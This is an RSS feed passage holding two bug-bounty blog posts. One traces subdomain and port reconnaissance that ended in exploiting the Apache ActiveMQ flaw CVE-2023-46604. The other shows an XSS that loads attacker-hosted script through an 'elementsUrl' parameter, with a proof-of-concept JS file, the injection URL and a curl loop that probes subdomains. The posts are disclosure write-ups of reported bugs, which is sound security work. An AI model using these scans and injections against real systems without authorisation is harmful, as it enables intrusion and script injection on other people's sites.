            <content:encoded><![CDATA[<h3>How I Found My First RCE</h3><p><strong>.السلام عليكم ورحمه الله وبركاته والصلاه والسلام على رسول الله سيدنا محمد</strong></p><p>As-salamu alaykum everyone! In this article, I’ll talk about my first RCE experience. It happened with a <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46604">CVE-2023–46604</a> in Apache ActiveMQ. I’ll focus more on how I found it rather than bringing new stuff to the table for expert bug hunters.</p><p>In my recon process, i made sure to update my list of subdomains every week and scan for open ports every three days (though, it’s better to do it every day). For subdomains enumeration, I used tools like <a href="https://github.com/projectdiscovery/subfinder">Subfinder</a> and <a href="https://github.com/owasp-amass/amass">Amass</a>.</p><pre>subfinder -dL domains.txt -o subdomains.txt<br>#then subdomains of subdomains <br>subfinder -dL subdomains.txt -o more-subdomains.txt<br><br><br>#using amass<br>amass enum -passive -norecursive -noalts -df domains.txt -o subs.txt<br>#then subdomains of subdomains<br>amass enum -passive -norecursive -noalts -df subs.txt -o more-subs.txt</pre><p>Then:</p><pre>cat more-subdomains.txt subdomains.txt subs.txt more-subs.txt | sort -u &gt; targets.txt</pre><p>after that i start port scanning in some cases i got a lot of subdomains somtimes +5k, I made a simple script to check subdomains using <a href="https://github.com/projectdiscovery/dnsx">DNSx</a> and divided them into groups of 15. Then, I ran <a href="https://github.com/projectdiscovery/naabu">Naabu</a> with nohup to keep it running in the background.</p><p>script that i use</p><pre>#!/bin/bash<br><br>if [ $# -eq 0 ]; then<br>    echo &quot;Usage: $0 &lt;file&gt;&quot;<br>    exit 1<br>fi<br><br>cat $1 | dnsx -o $1_ok.txt<br><br>split -l 15 $1_ok.txt 15_file_<br><br>for file in 15_file_*; do<br>    nohup naabu -list &quot;$file&quot; -p - -o &quot;${file}.out&quot;&amp;<br>done</pre><p>then</p><pre>cat 15*out | sort -u &gt; ports.out </pre><p>Many times, I manually checked that list. I filtered out hosts that might be honeypots, and sometimes Naabu gave unreliable results.</p><p>btw, after that, I manually checked for hosts with open ports between 3 and 10. When I noticed a strange open port, I used Nmap to find out which services were running on it.</p><p>In this instance, there was a host named bamboo.target.com, and I noticed that it had an open port, 54663.</p><p>When I used Nmap with the -sSCV flag, I discovered that it was running Apache ActiveMQ, which was present in its latest versions <a href="https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ">CVE-2023–46604</a> .</p><p>Then, I simply applied the exploit, and it worked right away. I reported it in a detailed report, which turned out to be a smart move. Providing all the necessary information for the triager and the security team often leads to a good bonus for your efforts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tTB8xyZnk5cTL6ibUhlPTA.png" /></figure><p>as well as for that result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*9edju1d7gNEMG0Q87s22zA.png" /></figure><p>That’s all, folks! Thanks for your time. Feel free to check out my <a href="https://www.linkedin.com/in/mchklt/">LinkedIn</a> or <a href="https://twitter.com/mchklt">Twitter</a> — I’m looking for homies there!</p><h3>سبحانك ربي لا علم لنا إلا ما علمتنا, واخر دعوانا ان الحمدلله رب العالمين</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f80073626fff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Misconfiguration Leads to P1 XSS]]></title>
            <link>https://mchklt.medium.com/misconfiguration-leads-to-p1-xss-6c9be7fc4c8f?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c9be7fc4c8f</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[misconfiguration]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Tue, 31 Oct 2023 11:17:39 GMT</pubDate>
            <atom:updated>2024-05-14T07:02:17.969Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Critical XSS in 130+ Websites</strong></h3><h3>Get Parameter Misconfiguration Leads to P1 XSS</h3><p>السلام عليكم ورحمة الله,</p><p>الحمدُ للهِ حمدًا كثيرًا طيِّبًا مُبارَكًا فيه مُباركًا عليِه كما يُحِبُّ ربُّنا ويرْضى.</p><p>Hello world,</p><p>All praise is to Allah, praise in abundance, good and blessed.</p><p>i get this endpoint by using <a href="https://github.com/xnl-h4ck3r/waymore">waymore</a> + <a href="https://github.com/projectdiscovery/katana">katana</a>, in results i see endpoint that contain this interested parameter elementsUrl i try in it my burp collaborator then i see that i received DNS &amp; HTTP requests to this endpoints</p><p><strong>/styles.css</strong><br><strong>/deployment/env/redacted.config.js</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*RNW2tkyLuQM3vzDt1yeazg.jpeg" /></figure><p>the requests commes just when i browse the url from my browser that’s mean there is no ssrf then i try to read source of the page and i see some interested js codes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iDO8kwNsoa1KZOcIujnzMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CeO-w1Ql22L32J8BY3KnEQ.png" /></figure><p>i see that the page import js and css from external endpoint</p><p>i go to my server and i created two endpoints</p><p><strong>styles.css</strong> :</p><pre>body::before {<br>  content: &quot;HELLO FROM MCHKLT&quot;;<br>  color: red;<br>  font-size: 24px;<br>  font-weight: bold;<br>  display: block;<br>  text-align: center;<br>  margin-top: 20px;<br>}</pre><p><strong>/deployment/env/redacted.config.js</strong> :</p><pre>document.title = &quot;HELLO FROM MCHKLT&quot;;<br>alert(document.domain);</pre><p>after adding my website to the vulnerable endpoint was like</p><p><a href="http://target/v2/sso.php?env=redacted&amp;elementsUrl=https://mchklt.server/">http://target/v2/sso.php?env=redacted&amp;elementsUrl=https://mchklt.server/</a></p><p>the site gonna import css and js from malicious endpoint that created by me</p><p>then boom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWi4bZugxq5PoXza8-eXJQ.jpeg" /></figure><p>after this i do my best part</p><p>i take the endpoint then i do a simple bash script that gonna try the endpoint in all domains &amp; subdomains of my target</p><pre>for i in $(cat subs);do curl $i | grep “elementsUrl”; done</pre><p>after doing that i get +10 subdomains of my target that was infected and after some analysing and researching i found that the bug was in a service by target.com</p><p>by using google dorks i found +130 subdomain that uses target.com service and it’s vulnerable .</p><p>i report it but</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*VMnprFarhV-1inRp-pWC6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/276/1*rOaViUPq-t3JZ6XMpzJlEA.png" /></figure><p>anyway alhamdulillah</p><p>Thanks for reading,</p><p>if you can connect me in <a href="https://www.linkedin.com/in/mchklt/">LinkedIn</a> i wanna more friends that interested in Bug Hunt &amp; Cyber Sec .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*yPQnGHPxTRKFHZvXJAVF_g.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c9be7fc4c8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>